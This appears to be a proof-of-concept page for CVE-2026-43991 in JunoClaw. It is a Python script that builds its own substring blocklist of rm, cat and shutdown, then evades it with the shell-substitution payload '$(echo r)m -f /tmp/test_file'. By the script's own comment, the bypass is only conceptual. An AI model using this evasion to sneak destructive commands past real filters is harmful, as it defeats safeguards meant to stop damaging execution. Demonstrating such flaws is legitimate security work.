CVE-2026-43991 JunoClaw命令执行漏洞

#!/usr/bin/env python3 # PoC for CVE-2026-43991: Bypassing substring blocklist via argument construction import subprocess def vulnerable_check(raw_command): # Simulate the vulnerable check: looks for 'rm' in the raw string blocklist = ['rm', 'cat', 'shutdown'] for bad_cmd in blocklist: if bad_cmd in raw_command: print(f"[BLOCKED] Command contains forbidden substring: '{bad_cmd}'") return False return True def attempt_exploit(): # Normal command that gets blocked print("--- Attempt 1: Normal command ---") cmd1 = "rm -f /tmp/test_file" if vulnerable_check(cmd1): subprocess.run(cmd1, shell=True) # Exploit: Use variable substitution to hide 'rm' from the raw string check # The raw string '$(echo r)m' does not contain 'rm', but the shell executes it as 'rm' print("\n--- Attempt 2: Bypass using adversarial argument construction ---") # This is a conceptual bypass based on the description "check applied to raw string" # If the system uses bash, we can hide the command. bypass_cmd = "$(echo r)m -f /tmp/test_file" print(f"Payload: {bypass_cmd}") if vulnerable_check(bypass_cmd): print("[SUCCESS] Command bypassed the check!") # In a real scenario, this would execute the command # subprocess.run(bypass_cmd, shell=True) else: print("[FAILED] Command blocked.") if __name__ == "__main__": attempt_exploit()